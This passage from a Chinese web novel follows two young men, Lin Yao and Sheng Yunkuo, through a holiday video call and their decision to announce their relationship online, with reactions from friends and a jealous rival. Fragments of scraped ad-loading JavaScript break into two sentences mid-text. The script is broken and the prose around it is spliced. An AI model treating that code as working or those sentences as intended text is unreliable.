老人总算缓缓睁开眼。 她浑浊深陷的眼睛盯着林杳瞧了一秒钟,才慢半拍认出了人。 “小杳啊。”柳奶奶顿时眉开眼笑,满脸皱纹都在跳动,“回来啦?” “嗯。我过来给您送点东西。”林杳说。 柳奶奶颤颤巍巍从椅子上站起:“你吃了没,我去给你煮点饭,我包了饺子。” 林杳挑眉,他记得盛云阔喜欢吃饺子。 林杳以为盛云阔还没和他外婆说他的打算,便问:“盛云阔和您说过吗,他因为要上班,所以今年没办法回来过年。” “说过,说过的。”柳奶奶道,“他工作重要嘛。” 接着,柳奶奶又问:“你吃几个,二十个够不够?平时小云起码要吃二十五个。” 林杳摇头:“我吃过了,您别忙,我就是过来给您送点东西。” “再吃点。”柳奶奶坚持,“小伙子饭量大,长个子。” --- 林家。 樊灵和林裕升坐在沙发上看电视剧。现正播到一男一女在吵架。 “这个女的最后和男的离婚没有?”林裕升指着电视问。 樊灵正想事情呢,没耐心搭理他:“你自己看。” 林裕升瘪瘪嘴,推了推眼镜继续看。 过了会儿,樊灵再也憋不住了,抓着林裕升问:“你说咱们要不要把柳阿姨生病的事儿告诉小盛?” 林裕升挠挠脸,想了会儿,说:“要么咱们还是等杳儿回来之后再问问,看看能不能争取让小盛回来一趟,当面和他说。这种事在电话里说不清楚,反倒让小盛干着急。” “也是。”樊灵点头。 楼道里,林杳慢悠悠的爬楼,一步一停,手中举着手机,在和谁打视频通话。 盛云的声音传来:“你才回家第一天,我就想你了。” 没想到盛云阔会冷不防说这话,林杳心跳乱了一拍,但终究也没能说出同样的话。 “我快到家了,挂了。”林杳说。 盛云阔不舍:“这么快,再讲两句呗?” “讲了十分钟了。”林杳说,“楼道里没地暖,我冷。” 闻言,盛云阔立即改变主意:“那你快回去,别冻着。” 刚才林杳在拼命拒绝柳奶奶的热情饺子时,盛云阔恰好拨了个视频到老人的手机上,但老人不太会用手机,手忙脚乱中给挂断了。 所以林杳就用自己的手机给盛云阔拨了过去。 盛云阔呼之欲出的一声“宝”,在看见柳奶奶的脸的瞬间,咕咚咽了回去。 林杳差点没憋住笑。 后边盛云阔和柳奶奶聊了会儿,林杳重新接过手机,本来想挂断的,结果盛云阔不许他挂,缠着他又聊了十分钟。 林杳站在自家门口掏钥匙,对盛云阔说:“真挂了,我开门了。” 盛云阔厚颜道:“亲一个再挂。” 林杳手快,已经把门开了个缝儿,听到盛云阔这话,很是进退两难。 盛云阔并不知情,还在催促:“快啊,亲一个。” 通话声音不算小,林杳怕被听见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,赶紧把手机放在嘴边“啵”了下,迅速挂断。 林杳推门进屋,樊灵居然已经站在了玄关处。 见到她,林杳吓得一哆嗦。 樊灵狐疑地问:“你刚才是在和小盛打电话吗?” 林杳做贼心虚,脱口否认:“没有,不是。” 还好樊灵并没有刨根问底电话的事,而是换了个问题:“杳儿,跟妈妈说说你在学校里过得怎么样呗?和小盛相处得还好吧,没吵架吧?” “我们没吵架,相处得还行。”林杳回答。 母子俩来到客厅坐下。 樊灵又问:“诶,小盛在哪个公司实习啊?” 林杳报了公司名字,补充解释道:“是个大公司,在国内游戏行业算是数一数二的。” “哦……”樊灵似乎懂了。 接着她再问:“大公司不应该按照法定节假日放假吗,怎么他们不放假?” “互联网行业竞争比较激烈。”林杳说,“大家都被迫加班。” “这样啊。” 沉默片刻,樊灵张口又想说话,好巧不巧林杳的手机响了起来。他拿起一看,居然是盛云阔,这家伙还有什么话没说完吗? 林杳起身,对樊灵说:“我有点事,先回房间了,你们早点睡。” 说罢,林杳几步走回房间,把门悄悄反锁。 林家父母留在客厅中面面相觑。 林裕升责怪:“你刚才怎么不直接说?兜圈子绕来绕去的,最后啥也没问到。” 樊灵瞪他一眼:“你就知道马后炮,你这么行你怎么不问,把我推出来,自己躲在后边,结果还怪我。” 越说越生气,樊灵哼声,傲娇地回了房间。 林杳房间内。 接通视频,林杳在书桌边坐下,问:“你干什么又打电话过来?” 从画面视频来看,盛云阔已经趴在了床上。 他有气无力道:“上班好累啊。我刚刚回到家,灯没开,你也不在,忽然觉得好寂寞。” “吃饭了吗?”林杳也侧头趴在了手臂上。 “没有。”盛云阔可怜兮兮说。 林杳不赞成地蹙眉:“我给你点个外卖,你快点吃饭。” 虽说这段时间他俩的生命值在稳步上升,但总值并不高,谨慎起见还是不可太浪。 盛云阔笑起来:“你打算给我点什么好吃的?” 林杳把视频通话小窗了,打开外卖软件,切换成学校的定位,开始翻看。 “饺子。” “饺子好啊。”盛云阔欠儿欠儿的,“你果然很关心我嘛,连我喜欢吃什么都知道。” 林杳冷冷打断了暧昧的气氛:“很难不知道,你小时候有一次把我家冰箱里存的饺子全吃完了之后,撑到进了医院,对我来说是终生难忘的经历。” “……” 下单成功,林杳说:“你注意着敲门,别睡过去了。” “嗯。”盛云阔应声。 接下来,两人举着手机,你看着我,我看着你,明明没有人说话,空气却一点点热了起来。 许久,盛云阔忽然小声问:“林杳,你知道phone sex吗?” 22. 官宣 林杳面不改色地忽视了盛云阔的胡说八道。 “没其他事情的话,我就挂了。” “诶等等等!”盛云阔赶紧挽留,“我错了我不说了。” 林杳话虽这样说,但其实手指自始至终没挪过位置,显然一开始就没打算挂,纯属恐吓傻子。 盛云阔转移了话题,问:“对了,之前我们俩在海边冰淇淋店拍的合照在哪?我今天找你朋友圈没找到,你别是发了个假的吧。” 林杳说:“我发了的,你找它干什么?” “我想保存下来。”盛云阔嘿嘿笑。 林杳:“那我把原图发给你。” “你发我也行。”盛云阔嘟囔,“但为什么我没在你朋友圈看见照片,你到底发没发?而且我看你朋友圈居然是一片空白,你该不会是屏蔽我了吧?” 林杳无奈捏鼻梁:“发了的,但过了十多分钟我就转成了仅自己可见。没有屏蔽你,我不用朋友圈你难道不知道吗?” 盛云阔还真不知道,因为他自己也不常看朋友圈。想来也是,林杳看上去就不像是会在朋友圈里po九宫格记录生活的人。 “那你要不再发一个?”盛云阔试探着说,“全部人可见那种。” 林杳不理解:“为什么?” 盛云阔表情变得纠结,眼睛东瞟瞟、西瞅瞅,嗯嗯唔唔似乎有话难以启齿。 林杳耐心等他纠结。 两分钟后,盛云阔才没底气地说:“我看别人谈恋爱不都要官宣的么……” 原来是这样。 林杳叹了口气,耐心解释道:“如果官宣的话,周围所有人都会知道你是gay了,你不介意吗?” “你介意吗?”盛云阔反问。 “我不介意。”林杳不假思索,“但理性来讲,我并不想官宣。虽然现在很多人都逐渐接受了同性恋的存在,可能够不带偏见看待的人到底是少数。何况朋友圈里的人未必都是朋友,我不想把自己的私生活展现给不熟悉的人,成为他们茶余饭后的谈资。” 此番话略显严厉了,说完,两人均沉默下来。 许久,盛云阔吐出口气,垂眸道:“行,我尊重你的感受。” 这副表情,林杳怎么看不出他在伤心。 林杳在心里想了半天,没能想出半句缓和气氛的话。 就听盛云阔说:“我有点困了,你早点睡,先挂了,晚安。” “嗯,晚安。” 视频挂断,林杳盯着手机发呆,直到手机息屏,才缓缓站起,把自己扔到床上趴着。 刚才拒绝官宣的理由林杳想都没想便脱口而出了。 其实连他自己都不知道自己为什么会本能排斥这件事。或许他从心底里就觉得自己与盛云阔这段感情见不得光。 不仅因为他们两人都是男的。 也因为……他还没做好与盛云阔绑定的准备。 说到底就是因为他并不喜欢盛云阔,他们二人的感情不对等。盛云阔喜欢他,巴不得满世界宣传他们在一起了,可自己呢? 林杳趴在枕头上,陷入沉思,一动不动。 明明决定好了要对盛云阔尽到恋人的义务。 明明盛云阔对自己那么好。 明明他那么喜欢自己,喜欢到有点烫,烫得他忍不住往回缩。 林杳重新拿起手机,打开相册,找到那张冰淇淋店前的合影。 照片是店主代拍,拍得相对没那么用心,两个人的脸都有些模糊,自己也笑得很假很商业。 关掉这张,林杳点开另外两张照片。 第一张,橙金色夕阳之下,盛云阔坐在沙滩上,面朝大海,望着无垠尽头,海风吹起他头顶的发。盛云阔的背影逆着光。整张照片如印象派油画般构图精致、色彩浓烈。 这一张是林杳偶然抓拍的。 被盛云阔发现后,他逼着林杳也站在相同的位置,照了第二张。 第二张照片与第一张色调构图相同,只有主角换成了林杳。 两张照片可以拼在一起,成为完整的图画。 林杳把两张原图发给了盛云阔。 盛云阔像是随时抱着手机似的,秒回:【?】 林杳:【拿去,官宣图,你想文案。】 盛云阔的文字都在尖叫:【真的吗!!我马上想!!】 见他因此激动得跟捡了钱似的,林杳忍不住笑,小声道:“出息。” 林杳躺在床上等盛云阔给自己发官宣文案,可左等右等,五分钟过去了,盛云阔毫无动静。 林杳干脆把手机放下,拿了睡衣去洗澡。 十五分钟后,林杳洗完澡出来,又看聊天框,恰好看见盛云阔发过来一条消息。 盛云阔:【“我的人,无瑕,不出。”】 盛云阔:【怎么样?】 林杳:【……】 林杳:【你二十分钟就想了个这?】 盛云阔:【我语文没你好,那你想一个。】 林杳想了一下,发现这文案还真不好写,主要是直白的太没文化,委婉的又咯噔。 于是林杳:【算了,就这吧。】 盛云阔:【那我们定个时,明天13:14发。】 林杳噗嗤一笑:【你哪儿学的这么多仪式感?】 --- 午后,吃过饭的打工人们趴在工位上争分夺秒地抢睡午觉。 盛云阔年轻,精神头好,没有瞌睡,就在位置上玩手机。 忽然,张桦的电话打了进来。 这倒是稀奇事,他们平时联系都是发消息,基本没打过电话。 盛云阔走出办公室,到走廊去接电话。 电话一接通,就听见张桦尖声惊叫道:“老盛——!你怎么回事!朋友圈那条什么意思!” 盛云阔缠着林杳发官宣朋友圈就是为了羡煞旁人,此时目的达成,他暗爽。 心里爽,表面还是装得淡定:“字面意思呗,你不认字?” 张桦大惊:“你怎么忽然就弯了!” 盛云阔狡辩:“别瞎说,我没弯。” 张桦驳斥他:“弯男喜欢男的,林杳不是男的吗?” “……”盛云阔无话可说,“那我也只是对林杳弯了,对你,我笔直。” 张桦:“谢谢你。” 张桦感慨:“我就知道你和林杳不清白,你们两个果然有一腿,什么时候的事?等等,你们什么时候跑到海边去玩了!?” “什么叫有一腿?”盛云阔蹙眉,“我们是正当的男男关系,不要说得那么猥琐好不好。” 张桦稍微淡定了点,说:“我真不敢相信,但是又觉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得很合理,毕竟你俩都同居了,一个屋檐下,很难不发生点什么。” 盛云阔:“……” “哎。”张桦叹气,“你真不够意思,抢在我前面脱单了,我还没来得及和学姐告白就放寒假了。” 盛云阔说:“谢谢你的祝福,我给你一个忠告你听吗?” “我没祝福你。”张桦切了一声,“什么忠告?” 盛云阔一副过来人的腔调,说:“告白不分场合,只要你觉得时机成熟,就上。” 张桦不信:“你懂个屁,林杳是男的,和女孩子又不一样,她们女孩子很注重仪式感的。” “不信算了,挂了。” 挂断电话,盛云阔回头,吓了一跳。 肖覃不知何时站到了他的身边,意味深长地笑看着他。 “学长。”盛云阔打招呼。 “我看见你和林杳的朋友圈了。”肖覃说,“你们俩瞒得真好,我都没看出来。” 盛云阔老实说:“也不是瞒得好,我俩才在一起不久。” 肖覃叹气:“哎——看见你俩这样,我也想找个男朋友了。” 盛云阔诚恳道:“学长你这么优秀,随便就能找到的。” “借你吉言啦。”肖覃拍了拍盛云阔的肩膀,往办公室走去。 --- 琴房里,美妙的古筝声如清泉碰撞鹅卵石,纵情流淌。 余婧许久没练手了,一曲终了,放在桌上的手机刚好响起。 余婧取下护甲,去接电话。 闺蜜愤怒的声音传来:“宝子,你快去看盛云阔那狗东西的朋友圈吧!气死我了!” “怎么了?”余婧不解,挂起通话,点开微信。 很快,她看见了盛云阔发的朋友圈。内容很简单,文字也很直白,但余婧依旧花了好几秒才意识到这是一条官宣动态。 闺蜜破口大骂:“没想到他居然是个gay!装成直男的样子来参加联谊会,太不要脸了!还好你不喜欢他了,真晦气!你别伤心,他不值得。” 余婧回神,轻笑:“我没伤心啊。” “那就好,我就是怕你无意间看到会难受,想着打个电话能陪陪你。”闺蜜说。 余婧无声舒出一口气,有什么东西彻底放下了。 她说:“他去联谊会或许因为他是双性恋吧,你也别恶意揣测别人,既然你觉得他不值得,就不要为了他生气。咱们明天去逛街如何?” --- 某高档酒店套房内。 沈安格赤着上身,靠坐在床上。他手中死死捏着手机,用力到手掌皮肤都开始泛白。 屏幕上显示的是林杳的朋友圈,沈安格盯着瞧了许久,心烦意乱。 另一半边床上躺着的男伴迷迷糊糊醒来,抱住了沈安格的腰,懒洋洋问:“沈少,几点了?” “松手。”沈安格声音如淬了冰。 男伴瞬间惊醒,往后撤了半个身位。 沈安格掀开被子下床走向浴室,同时给男伴撂下一句话:“等我洗完澡出来,我不想看见你还在房间里。” 男伴瑟缩,低眉顺眼了应了一声:“知道了。” 来到浴室,沈安格双手撑在盥洗池的台面上,气得胸口起伏,双目因整晚的放纵而赤红一片。 他妈的,耍我是吧?